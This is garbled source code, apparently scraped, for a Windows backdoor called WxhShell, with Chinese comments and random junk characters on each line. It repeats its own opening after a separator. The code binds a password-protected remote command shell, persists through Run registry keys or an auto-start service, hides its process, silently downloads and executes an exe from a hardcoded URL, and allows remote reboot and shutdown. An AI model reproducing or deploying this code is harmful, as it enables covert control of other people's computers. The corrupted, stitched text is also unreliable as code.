    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4:MvC^X~z  
    if(Boot(SHUTDOWN)) Jb,54uN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .G/Rh92  
    else { *tjaac;z<J  
    closesocket(wsh); @ f[-  
    ExitThread(0); +.cpZqWn3  
    } }n)0}U5;0  
    break; fy+5i^{=  
    } /*C!]Z>.  
  // 获取shell \p!UY 3'  
  case 's': { Ir;JYY!0?  
    CmdShell(wsh); Lg4|6.Ez|P  
    closesocket(wsh); Q  :kg  
    ExitThread(0); TE`5i~R*  
    break; Qt u;_  
  } rrIyZ@_d9  
  // 退出 =OufafZb  
  case 'x': { 7cc^n\c?Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -jQ*r$iRE  
    CloseIt(wsh); hqRC:p#9  
    break; Z% +$<J  
    } 4*_jGw  
  // 离开 Mo/R+\u+Y  
  case 'q': { PRfq_:xy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Ys e/oEo  
    closesocket(wsh); #H$lBC WI  
    WSACleanup(); e;i 6C%DB  
    exit(1); XtCIUC{r,  
    break; QQ?t^ptv  
        } z+Xr2B  
  } fY]"_P  
  } $S>'0mL  
V|Bwle  
  // 提示信息 b'wy{~l@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); he|Q (?  
} "{<X! ^u>  
  } qrMED_(D  
$(}rTm  
  return; w_"d&eYdg0  
} `2>p#`  
tSy 9v  
// shell模块句柄 |JkfAnrN$I  
int CmdShell(SOCKET sock) 9hr7+fW]t  
{ "#)|WVa=BM  
STARTUPINFO si; /xX7:U b  
ZeroMemory(&si,sizeof(si)); f@}> :x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f y2vAwl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jCY~Wc  
PROCESS_INFORMATION ProcessInfo; +~n:*\  
char cmdline[]="cmd"; 9]Jv >_W*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #7;?Ls  
  return 0; e5mu-  
} <^s31.&p  
8K4^05*S   
// 自身启动模式 &JX<)JEB=<  
int StartFromService(void) R_!'=0}V  
{ ^i@anbH  
typedef struct S(@kdL  
{ = #-zK:4  
  DWORD ExitStatus; >5O~SF.  
  DWORD PebBaseAddress; 97Dq;  
  DWORD AffinityMask; *VsGa<V  
  DWORD BasePriority; ,X!)zAmm  
  ULONG UniqueProcessId; aiPm.h>  
  ULONG InheritedFromUniqueProcessId; YCRE-5!  
}   PROCESS_BASIC_INFORMATION; y`9#zYgqA  
zS:2?VXxq  
PROCNTQSIP NtQueryInformationProcess; $WIE`P%  
]9_gbQ   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eipg,EI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +-tFgXG  
+cfcr*  
  HANDLE             hProcess; 8SpG/gl"  
  PROCESS_BASIC_INFORMATION pbi; { <Gyjq  
\W=3P[gb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D%+yp  
  if(NULL == hInst ) return 0; FS}b9sQ)  
}etdXO_^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +iQ@J+k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k, N{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g$]WKy(D  
t]I9[5Pq\  
  if (!NtQueryInformationProcess) return 0; kqX=3Zo  
*zUK3&n~I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p2Khfl6-  
  if(!hProcess) return 0; *AV%=   
Uha.8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +TbAtkEF*  
)l9KDObis  
  CloseHandle(hProcess); ECt<\h7}  
OPN\{<`*d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  kNK0KL  
if(hProcess==NULL) return 0; r10VFaly  
5Pf=Uj6D  
HMODULE hMod; o2dO\$'  
char procName[255]; 1\}XL=BE  
unsigned long cbNeeded; Z,"4f*2  
.Wt3|?\=nd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %%ouf06.|  
(Yz[SK=U}  
  CloseHandle(hProcess); a0hBF4+6  
='jT 5Mg  
if(strstr(procName,"services")) return 1; // 以服务启动 j^=Eu r/  
NWh1u`  
  return 0; // 注册表启动 %}(` ?  
} JPn)Op6  
x^@oY5}cr  
// 主模块 D\G.p |9=  
int StartWxhshell(LPSTR lpCmdLine) /a*){JQ5j  
{ F.U@8lr  
  SOCKET wsl; $B8Vg `+  
BOOL val=TRUE; ^?RH<z  
  int port=0; !Ew ff|v"  
  struct sockaddr_in door; p-I J':W  
.1TuHC\mC  
  if(wscfg.ws_autoins) Install(); 46]BRL2 G  
Iuz_u2"C  
port=atoi(lpCmdLine); ~*bfS}F8I  
^"O>EY':  
if(port<=0) port=wscfg.ws_port; ^R:&c;&,  
7tWC<#  
  WSADATA data; W8S sv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rJGh3%  
pl%!AY'oE>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <y8oYe_!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tr_gc~  
  door.sin_family = AF_INET; ^2}HF/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ho&:Zs  
  door.sin_port = htons(port); f2[R2sto@  
{ol7*%u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uj;JN}k  
closesocket(wsl); ="78#Wfj2  
return 1; $M)SsD~  
} W:8MqVm34  
)T"Aji-hy  
  if(listen(wsl,2) == INVALID_SOCKET) { nQQHm6N  
closesocket(wsl); t@R[:n;+  
return 1; wxqX42v  
} el`?:dY H  
  Wxhshell(wsl); y>}r  
  WSACleanup(); h&K$(}X  
R& t*x  
return 0; l6#Y}<tq  
_%R^8FjH*  
} +r'&6Me!  
Xuu&`U~%  
// 以NT服务方式启动 e4Nd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S[!6Lw  
{ x?o#}:S  
DWORD   status = 0; RAl/p9\A+  
  DWORD   specificError = 0xfffffff; ?:3hp2k<  
n4!RGq.}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .iy>N/u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !.,J;Qt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M>Q ZN  
  serviceStatus.dwWin32ExitCode     = 0; gdeM,A|  
  serviceStatus.dwServiceSpecificExitCode = 0; D&F{0  
  serviceStatus.dwCheckPoint       = 0; [hSJ)IZh  
  serviceStatus.dwWaitHint       = 0; keLeD1  
1Sz tN3'q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }?,YE5~  
  if (hServiceStatusHandle==0) return; Bk\Y v0  
Wz.iDRFl  
status = GetLastError(); w\s`8S  
  if (status!=NO_ERROR) ;Tr,BfV|Bf  
{ 5e. aTW;U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >BO$tbU5b  
    serviceStatus.dwCheckPoint       = 0; -9FGFBm4]  
    serviceStatus.dwWaitHint       = 0; ld ]*J}cw  
    serviceStatus.dwWin32ExitCode     = status; :0:Tl/))  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?'0!>EjY"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xjr4')h  
    return; T`wDdqWbEG  
  } QNOdt2NN  
jbipNgxkr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vN^.MR+<  
  serviceStatus.dwCheckPoint       = 0; V3ht:>c9qs  
  serviceStatus.dwWaitHint       = 0; ~D3 S01ecM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s>o#Ob@4'  
} )KE  
%\ i&g$  
// 处理NT服务事件,比如:启动、停止 ^O*-|ecA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tnobqL'  
{ iGSJ\  
switch(fdwControl) V5(_7b#z``  
{ FA*$ dwp  
case SERVICE_CONTROL_STOP: P 9yMf~  
  serviceStatus.dwWin32ExitCode = 0; =gI41Y]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OJpfiZ@Q_  
  serviceStatus.dwCheckPoint   = 0; R`@T<ob)  
  serviceStatus.dwWaitHint     = 0; l+@;f(8}  
  { iOg4(SPci  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]uox ^HC  
  } x3&gB`j-  
  return; GGEM&0*  
case SERVICE_CONTROL_PAUSE: iGhvQmd(/*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qZ^ PC-  
  break; 0\:= KIY.  
case SERVICE_CONTROL_CONTINUE: x7/Vf,N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Jn|GnM  
  break; Is4,QnY_[  
case SERVICE_CONTROL_INTERROGATE: g0j)k6<6(Y  
  break; `;Tf_6c  
}; |:5O|m '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,R Isq;`  
} J-tqEK*  
IMwV9rF  
// 标准应用程序主函数 ~BuzI9~7P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $h p UI  
{ %CHw+wT&  
+]cf/_8+s  
// 获取操作系统版本 } doAeTZ  
OsIsNt=GetOsVer(); 3GF67]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eZOR{|z  
.4^+q9M  
  // 从命令行安装 %urvX$r4K  
  if(strpbrk(lpCmdLine,"iI")) Install(); \85%d0@3  
}y6@YfV${  
  // 下载执行文件 'r7[9[  
if(wscfg.ws_downexe) { 5(ZOm|3ix  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~'%d]s+q  
  WinExec(wscfg.ws_filenam,SW_HIDE); G/p\MzDko  
} G^t)^iI"'  
)iw-l~y;  
if(!OsIsNt) { FDD=I\Ic  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ck )W=  
HideProc(); Zq 85q  
StartWxhshell(lpCmdLine); 7FoX)54"  
} Y:;_R=M  
else 9SsVJ<9,R  
  if(StartFromService()) )). =MTk  
  // 以服务方式启动 )&_bY~P  
  StartServiceCtrlDispatcher(DispatchTable); SX"|~Pi(  
else uX_#NP/2  
  // 普通方式启动 B-N//ef}  
  StartWxhshell(lpCmdLine); 8c.>6 Hy  
> f X^NX  
return 0; ]:Ep1DIMl  
} 3%'`^<-V  
6 8,j~e3-i  
}d}gb`Du  
QD,m`7(  
=========================================== k_]'?f7Z  
S.`y%t.GP  
IW!x!~e  
"<0!S~]  
+h"i6`g  
O80Z7  
" T+Re1sPr?  
> Hv9Xz  
#include <stdio.h> ]7_>l>  
#include <string.h> Hj>9#>b  
#include <windows.h> Y9X,2L7V  
#include <winsock2.h> zNX=V!$  
#include <winsvc.h> {mD0 ug  
#include <urlmon.h> [Ix6ArY  
f?. VVlD  
#pragma comment (lib, "Ws2_32.lib") KX~ uE6rX  
#pragma comment (lib, "urlmon.lib") RL4|!HzR  
 Culv/  
#define MAX_USER   100 // 最大客户端连接数 ks. p)F>]  
#define BUF_SOCK   200 // sock buffer _m?i$5  
#define KEY_BUFF   255 // 输入 buffer &6CDIxH{  
U>*@VOgB  
#define REBOOT     0   // 重启 I*TTD]e'X  
#define SHUTDOWN   1   // 关机 v];YC6shx  
8i] S[$Fc  
#define DEF_PORT   5000 // 监听端口 (Z>?\iNJ  
} 9zi5 o8  
#define REG_LEN     16   // 注册表键长度 o=Z:0Ukl]  
#define SVC_LEN     80   // NT服务名长度 *Hn=)q  
3y.+03 W  
// 从dll定义API @xdtl{5G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =Ya^PAj '}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w&H>`l06  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NE#`ZUr3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WVyDE1K <  
`/ T.u&QF  
// wxhshell配置信息 1;~s NSTo  
struct WSCFG { W^3 Jg2gE  
  int ws_port;         // 监听端口 &I-:=ir  
  char ws_passstr[REG_LEN]; // 口令 q0%QMut%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pxf>=kY  
  char ws_regname[REG_LEN]; // 注册表键名 >6Pe~J5,:  
  char ws_svcname[REG_LEN]; // 服务名 }R+#>P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VvIUAn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _"p(/H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q(~jP0pj%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }OIe!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?cWwt~N9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tF,`v{-up  
-_9*BvS]R  
}; 392(N(  
UUz{Qm%  
// default Wxhshell configuration ?wkT=mv  
struct WSCFG wscfg={DEF_PORT, G!VEV3zT  
    "xuhuanlingzhe", W>!:K^8]  
    1, p,z>:3M  
    "Wxhshell", uzQj+Po  
    "Wxhshell", VOj7Tz9UD  
            "WxhShell Service", \1<aBgK i  
    "Wrsky Windows CmdShell Service", <[ dt2)%L>  
    "Please Input Your Password: ", " TCJT390  
  1, h(kPf ]0  
  "http://www.wrsky.com/wxhshell.exe", wclj9&k  
  "Wxhshell.exe" k+[oYd  
    }; rx| ,DI  
~c v|,  
// 消息定义模块 +vJ}'uR3P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FP&Ykx~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lGahwn:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O6$,J1 2l  
char *msg_ws_ext="\n\rExit."; S ^~"#   
char *msg_ws_end="\n\rQuit."; , SUx!o  
char *msg_ws_boot="\n\rReboot..."; F}mt *UcMG  
char *msg_ws_poff="\n\rShutdown..."; GTbV5{Ss  
char *msg_ws_down="\n\rSave to "; sQ\HIU%]  
7p'pz8n`X  
char *msg_ws_err="\n\rErr!"; 5+{oQs_  
char *msg_ws_ok="\n\rOK!"; 5xKod0bA  
pFMJG<W9,  
char ExeFile[MAX_PATH]; OD[=fR|cp  
int nUser = 0; U&(gNuR>J  
HANDLE handles[MAX_USER]; Rm n|!C%%K  
int OsIsNt; 7>zUT0SS  
Z/ml ,4e  
SERVICE_STATUS       serviceStatus; @P0rNO %y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5/6Jq  
N4qBCBr(  
// 函数声明 bO$KV"*!  
int Install(void); xH28\]F5n  
int Uninstall(void); <J~6Q  
int DownloadFile(char *sURL, SOCKET wsh); XjzGtZ#6  
int Boot(int flag); ]Rf$&7`g{  
void HideProc(void); F&p42!"  
int GetOsVer(void); ?2o+x D2  
int Wxhshell(SOCKET wsl); t^B s3;E^  
void TalkWithClient(void *cs); roriNr/ e  
int CmdShell(SOCKET sock); 1k"t[^  
int StartFromService(void); dL'oIBp  
int StartWxhshell(LPSTR lpCmdLine); )]w&DNc  
a%m >v,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;L76V$&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A+Un(tU2(  
BJHWx,v  
// 数据结构和表定义 ,^1 #Uz8  
SERVICE_TABLE_ENTRY DispatchTable[] = {7X9P<<L7  
{ jEx8G3EL  
{wscfg.ws_svcname, NTServiceMain}, 'p!&&.%  
{NULL, NULL} 4+>~Ui_#  
}; ORX<ZO t1  
o4a@{nt^,  
// 自我安装 !+Cc^{  
int Install(void) bly `m p8#  
{ 3LQ u+EsS  
  char svExeFile[MAX_PATH]; ?^:5`  
  HKEY key; :Id8N~g  
  strcpy(svExeFile,ExeFile); [KGj70|~  
\{*`-P v  
// 如果是win9x系统,修改注册表设为自启动 `:ZaT('h  
if(!OsIsNt) { mV}8s]29  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z *tHZ7 b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V@z/%=PJ  
  RegCloseKey(key); wmbG$T%k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (@ BB @G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AVz907h8  
  RegCloseKey(key); 2sqH > fen  
  return 0; b~ig$!N]  
    } @QpL*F  
  } { .i^&  
} Rbgy?8#9  
else { V@G|2ZI  
UaXIrBc  
// 如果是NT以上系统,安装为系统服务 ;\13x][  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T{3-H(-gA  
if (schSCManager!=0) ] -C*d$z  
{ Ea" -n9  
  SC_HANDLE schService = CreateService iqX%pR~Yo  
  ( B&!>& Rbx  
  schSCManager, ~t*_  
  wscfg.ws_svcname, _Nz?fJ:$@  
  wscfg.ws_svcdisp, y9i+EV  
  SERVICE_ALL_ACCESS, X+\=dhn69  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #Ph8 ?  
  SERVICE_AUTO_START, %dd B$(  
  SERVICE_ERROR_NORMAL, 1,P2}mYv  
  svExeFile, UBnHtsM  
  NULL, P 2x.rukT|  
  NULL, xOxyz6B\  
  NULL, +:C.G[+  
  NULL, )ARV>(  
  NULL FgP{  
  ); +*qTZIXj  
  if (schService!=0) !8 l &%  
  { r;waT@&C  
  CloseServiceHandle(schService); 8v^AVg  
  CloseServiceHandle(schSCManager); N#Nc{WU 'B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?$\sMkn  
  strcat(svExeFile,wscfg.ws_svcname); j=Q ?d]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @&E7Pg5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ JCOL  
  RegCloseKey(key); qMqf7 .  
  return 0; 44B9JA7u  
    } [--] ?Dr  
  } @[$q1Nm  
  CloseServiceHandle(schSCManager); p7Yb8#XfU  
} +q432ZG  
} 7S_"h*Ud  
5Yk|  
return 1; /T&+vzCF  
} YpSK |(  
a\ MJh+K  
// 自我卸载 8Sf}z@~]  
int Uninstall(void) ~fpk`&nhe  
{ bHs},i6  
  HKEY key; NU7k2`bqAk  
TDR#'i  
if(!OsIsNt) { D0gz ((  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lz#@_F|.*  
  RegDeleteValue(key,wscfg.ws_regname); Hg(nC*#/Q  
  RegCloseKey(key); Io7 =Mc4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Go oSX  
  RegDeleteValue(key,wscfg.ws_regname); h&Q-QU  
  RegCloseKey(key); <;Td8T;  
  return 0; ,UT :wpc^i  
  } ~05(92bK  
} 8\`otJY  
} *U,W4>(B  
else { cbx( L8  
1[?xf4EMG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bFIv}c+;  
if (schSCManager!=0) <5c^DA  
{ M1Th~W9l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {`% q0Nr  
  if (schService!=0) y2x)<.cDP  
  { _cc9+o  
  if(DeleteService(schService)!=0) { LtDGu})1  
  CloseServiceHandle(schService); >$A,B  
  CloseServiceHandle(schSCManager); VsRdZ4  
  return 0; N?%FVF  
  } S)@) @3  
  CloseServiceHandle(schService); _~b]/]|z#N  
  } Oimq P  
  CloseServiceHandle(schSCManager); (Vy`u)gG  
} M ~6k[ew  
} Ot!*,%sjQ  
VSc)0eyn  
return 1; Z#_VxA>]v  
} $olITe"$g  
G9c2kX.Bf  
// 从指定url下载文件 rEs Gf+4  
int DownloadFile(char *sURL, SOCKET wsh) -hO[^^i9  
{ ='.G,aJ9  
  HRESULT hr; 0yKPYA*j  
char seps[]= "/"; ;u?H#\J,  
char *token; hL/  
char *file; lH oV>k  
char myURL[MAX_PATH]; 4,6nk.$yN  
char myFILE[MAX_PATH]; \8-PCD  
m-|~tve  
strcpy(myURL,sURL); F!6;< !&h  
  token=strtok(myURL,seps); BIEeHN4  
  while(token!=NULL) dO[pm0  
  { nc>Ae`"(  
    file=token; 6[C>"s}Ol  
  token=strtok(NULL,seps); |Z{ DU(?[b  
  } q;qY#wD@  
JiHk`e`  
GetCurrentDirectory(MAX_PATH,myFILE); n@| &jh  
strcat(myFILE, "\\"); D5fhOq+g  
strcat(myFILE, file); i<uk}  
  send(wsh,myFILE,strlen(myFILE),0); P*8DM3':  
send(wsh,"...",3,0); pS<j>y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cvv(OkC  
  if(hr==S_OK) Iqm QQ_KH  
return 0; ,OaPrAt-  
else vEb_z[gd  
return 1; 9|LV x3]  
2sqNTuO6,|  
} ]g0\3A  
\bWo"Yo  
// 系统电源模块 }^3ICwzm  
int Boot(int flag) MF~Tr0tOC  
{ dpcFS0  
  HANDLE hToken; 0RGSv!w  
  TOKEN_PRIVILEGES tkp; f{u3RCfX~2  
ejPK-jxCa/  
  if(OsIsNt) { D4CiB"g3*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :k.C|V!W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nm=\~LP90  
    tkp.PrivilegeCount = 1; 5"&{Egc_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;K<W<v5m0N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N2S7=`5/T  
if(flag==REBOOT) { roG f &  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n g?kl|VG  
  return 0; ZzV%+n7<Vx  
} :f58JLX  
else { M%Dv-D{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qHQ#^jH  
  return 0; xp"5L8:C  
} JRl`evTS  
  } lCMU{)  
  else { =M+enSu  
if(flag==REBOOT) { zkRL'-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `$, \B  
  return 0; Z3]ut #`  
} ~Uw<E:?v  
else { ~$3X>?Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V$XCe  
  return 0; 4{oS(Vl!  
} 8HymkL&F  
} 5PU$D`7it  
*~%# =o  
return 1; /iekww^54  
} L[FNr&  
c|^#v8x^/  
// win9x进程隐藏模块 h q& 2o  
void HideProc(void) hJ1:#%Qe.  
{ XN1\!CM8  
*w;=o}`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 89{@2TXR  
  if ( hKernel != NULL ) _~b$6Nf!83  
  { ,| EaW& 2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Gh?hU,WWZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w %sHA  
    FreeLibrary(hKernel); tag~SG`ov  
  } /*8Ms`  
r6*~WM|Sq7  
return; Z#lZn!EbK  
} 4-:TQp(  
` d[ja,  
// 获取操作系统版本 }6V` U9 ^g  
int GetOsVer(void) tu6Q7CjW8  
{ Q]}aZ4L  
  OSVERSIONINFO winfo; d;D8$q)8Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N6BFs(  
  GetVersionEx(&winfo); | D jgm7$*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kqt,sJ  
  return 1; _,JdL'[d  
  else ` E2@GX+,  
  return 0; ^SouA[  
} 1Goju ey  
DxLN{g]B  
// 客户端句柄模块 $`&uu  
int Wxhshell(SOCKET wsl) }.UE<>OX  
{ P|Ojt I  
  SOCKET wsh; ,^UNQO*{GI  
  struct sockaddr_in client; mzl %h[9iI  
  DWORD myID; SH/KC  
do:3aP'S,  
  while(nUser<MAX_USER) 62X;gb  
{ ag$mc8-p[  
  int nSize=sizeof(client); 6(`Bl$M9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hK t c  
  if(wsh==INVALID_SOCKET) return 1; ~#b&UR  
\*V`w@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z+< zKn}  
if(handles[nUser]==0) k-b0Eogp]  
  closesocket(wsh); 2vit{  
else PfI~`ke  
  nUser++; 9aE!! (E  
  } 6_# >s1`R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t(|\3$z  
x]gf3Tc58  
  return 0; tDl1UX  
} K)AJx"  
Q`dzn=  
// 关闭 socket c bk|LQ.O  
void CloseIt(SOCKET wsh) ? D?XaRb  
{ D e>'  
closesocket(wsh); JZ5N Q)sX  
nUser--; "@JSF  
ExitThread(0); X~O2!F  
} VHJ-v!  
3UIR^Rh+  
// 客户端请求句柄 gt9{u"o  
void TalkWithClient(void *cs) luyU!  
{ Olg@ Ri  
{/x["2a1  
  SOCKET wsh=(SOCKET)cs; 52$7vYMto  
  char pwd[SVC_LEN]; "]dNN{Wka  
  char cmd[KEY_BUFF]; eJB !|  
char chr[1]; 8jE6zS }m  
int i,j;  0~{&  
l0m\2Ttf  
  while (nUser < MAX_USER) { rH9wRY(  
_z<y]?q  
if(wscfg.ws_passstr) { .CClc(bO_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Y'oxh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |uT&`0T'e`  
  //ZeroMemory(pwd,KEY_BUFF); Kzw )Q  
      i=0; H h4G3h0  
  while(i<SVC_LEN) {  6[<*C?  
g9fS|T  
  // 设置超时 `JGV3nN  
  fd_set FdRead; 2\xv Yf-  
  struct timeval TimeOut; |Go?A/'  
  FD_ZERO(&FdRead); qFo'"z`84  
  FD_SET(wsh,&FdRead); 5V5E,2+ 0  
  TimeOut.tv_sec=8; ,haCZH {  
  TimeOut.tv_usec=0; 9Se7 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ $M@yWX6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HeagT(rN'  
K; 7o+Xr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (LW4z8e#  
  pwd=chr[0]; 0ivlKe%  
  if(chr[0]==0xd || chr[0]==0xa) { %=:*yf>}  
  pwd=0; / -ebx~FX&  
  break; eGZX 6Q7m  
  } *[Ld\lRj  
  i++; +X4O.6Mn  
    } OIK14D:  
qHGXs@*M&  
  // 如果是非法用户,关闭 socket y`?{ 2#1H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Im;8Abf  
} 9{?L3V!+r  
V[R33NYG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YlW~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oJ cR)H  
$'I+] ;  
while(1) { E$-u:Z<-  
!$"DD[~\  
  ZeroMemory(cmd,KEY_BUFF); `.f {V  
h*_h M1*;  
      // 自动支持客户端 telnet标准   "5]Fl8c?  
  j=0; _`>F>aP  
  while(j<KEY_BUFF) { D}SYv})Ti  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &C eG4_Mi  
  cmd[j]=chr[0]; 7q&//*%yF  
  if(chr[0]==0xa || chr[0]==0xd) { 9]AiaV9  
  cmd[j]=0; *t{$GBP  
  break; i,Yq oe`  
  } x/NR_~Rnk  
  j++; qRg^Bp'VD#  
    } <_HK@E<_HO  
gO*:< B g  
  // 下载文件 v$R+5_@[l  
  if(strstr(cmd,"http://")) { 03ol!|X "9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); as1ZLfN.  
  if(DownloadFile(cmd,wsh)) (nk)'ur.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D-7PO3F:F  
  else oT7=  
